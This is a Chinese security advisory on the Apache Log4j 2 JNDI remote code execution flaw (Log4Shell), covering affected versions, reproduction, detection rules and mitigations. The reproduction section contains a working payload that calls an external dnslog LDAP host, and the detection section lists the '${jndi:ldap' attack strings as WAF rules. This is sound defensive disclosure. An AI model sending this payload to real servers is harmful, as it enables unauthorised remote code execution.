Apache Log4j 2远程代码执行漏洞的初步分析与处置建议
2021-12-13 12:51:17 Author: www.secpulse.com(查看原文) 阅读量:38 收藏

01
漏洞描述
Apache Log4j是一个基于Java的日志记录工具。Log4j是几种Java日志框架之一。该项目在Apache接手后进行了代码重构,解决了框架中的架构问题并在Log4j 2中提供了一个插件架构,这使其更具扩展性。用户可以更为精确的对日志进行细粒度的控制,支持将日志信息发送到服务器、写入到文件或是发送给GUI组件等,通过定义日志信息的级别、输出格式,发送参数来对日志进行更完善的管理。
Log4j 2.X中采用了LDAP的简单目录服务结构进行日志的查询。在进行递归查询时,JNDI方法在处理查询参数的过程中存在注入漏洞,攻击者可利用该漏洞在未授权的情况下,构造恶意参数以远程方式在目标服务器上执行恶意代码。
该漏洞的POC在11月底被安全研究人员发布,12月8日网络上出现该漏洞POC。该漏洞影响范围非常广泛,目前无法准确统计受影响的具体资产和组件的数量。安天CERT建议通过Apache官方升级页面下载对应的升级包对存在该漏洞的组件进行升级以修复该漏洞。对于无法进行升级的用户可以采用缓解措施进行暂时防御。
02
漏洞影响范围
经安天CERT分析人员验证 2.15.0-rc1 版本存在绕过的可能性,实际受影响范围:
Apache Log4j 2.x < 2.15.0-rc2

根据 mvnrepository 中的软件库依赖关系,含有该漏洞的Log4j 2影响到超过 6000个中间件或应用,目前已知的可能受影响的应用及组件包括但不限于如下清单中所列出的:

  • Spring-Boot-strater-log4j2

  • Apache Struts2

  • Apache Solr

  • Apache Flink

  • Apache Druid

  • ElasticSearch

  • Flume

  • Dubbo

  • Redis

  • Logstash

  • Kafka

03
漏洞分析
在受影响版本中,攻击者可以利用该漏洞在未授权的情况下,构造恶意参数以远程方式在目标服务器上执行恶意代码,从而获取目标服务器的控制权限。
该漏洞的POC在11月底被安全研究人员发布,12月8日网络上出现该漏洞POC。安天CERT分析人员对该漏洞以及已公开的POC进行分析,在Log4j 2组件的版本低于2.15 RC2的情况下均能成功执行任意代码,通过POC可以成功获得受害服务器返回的连接。具体测试截图如下:

 安天已成功复现此漏洞:

访问漏洞环境,构造带有dnslog地址的payload:“${jndi:ldap://konfjz.dnslog.cn/exp}”并提交请求,如下图所示。

查看dnslog记录,成功回显被攻击服务器IP地址,证明恶意payload执行成功,存在Log4j 2远程代码执行漏洞,如下图所示。

04
排查方法、缓解措施

安天CERT建议用户彻底排查所使用的应用是否引入了Apache Log4j2 Jar包,特别是各单位在历史招标建设中明确要求采用 Log4j 或 SLF4J 记录日志的信息系统若存在引入则可能受该漏洞影响。排查方法如下:

(1)针对应用自身排查

在应用内部搜索log4j-core-*.jar以及log4j-api-*.jar两个关键字,查看其版本是否在受影响的版本范围中,同时查看其pom.xml文件内部的版本号进行二次确认。也可以通过查看内部JAVA源代码库中所引入的组件清单列表来确认是否引入了Apache Log4j 2.x的Jar包。


(2)入侵排查

攻击者在利用前通常采用dnslog方式进行扫描、探测,针对该漏洞利用可通过应用系统报错日志中的如下关键字进行排查:

1 "javax.naming.CommunicationException"
2 "javax.naming.NamingException: problem generating object using object factory"
3 "Error looking up JNDI resource"

攻击者发送的恶意数据包中可能存在“${jndi:rmi”、“${jndi:ldap”关键字,推荐使用全流量或WAF设备进行检索排查。

检测:

在WAF中添加如下两条自定义规则:

tcp_payload^%24%7Bjndi%3Aldap%3A%2F%2F

http_msgbody^%24%7Bjndi%3Aldap%3A%2F%2F

临时缓解措施(任选一种):

修改jvm启动参数 -Dlog4j2.formatMsgNoLookups=true

修改配置log4j2.formatMsgNoLookups=True

设置系统环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 为 true

临时缓解措施自动化处置脚本:

1. Windows 操作系统:使用管理员权限运行log4j2_hjcs.bat

Windows 处置脚本下载地址:

https://www.antiy.com/tools/Log4j2_hjcs.bat

2. Linux 操作系统:在命令控制终端输入chmod 777 ./Log4j2_hjcs.sh

Linux 处置脚本下载地址:

https://www.antiy.com/tools/Log4j2_hjcs.sh

升级Apache Log4j 2 至2.15.0 rc2 版本,下载地址:

https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2

05
安天观点及风险提醒
本次事件虽然表现为Apache的一个模块出现漏洞,但其本质是供应链中的公共模块出现了漏洞,目前还难以衡量其攻击面。
攻击者可以利用它执行远程代码,从而获得对服务器的访问权限。
鉴于本次漏洞影响十分广泛且危害较大,安天CERT给出下列建议:
1.  各单位及组织应该加强对内部信息系统及对外服务信息系统相关服务器、办公终端的操作系统的安全排查并采取缓解措施,防止攻击者利用该漏洞造成破坏。
2.  对存在漏洞的信息资产的访问权限进行严格管控,对信息系统的各项日志尤其是登录日志及威胁告警日志等加强审计和监管、对网络流量进行实时审计与告警,防止被非法访问或配置被非法篡改。
3.  加强信息安全应急响应能力建设,重视应急预案的定期更新与演练,确保在处理突发事件时能保证有条不紊,确保信息系统遇到攻击能够快速恢复并进行有效溯源。

文章来源: https://www.secpulse.com/archives/171070.html
如有侵权请联系:admin#unsafe.sh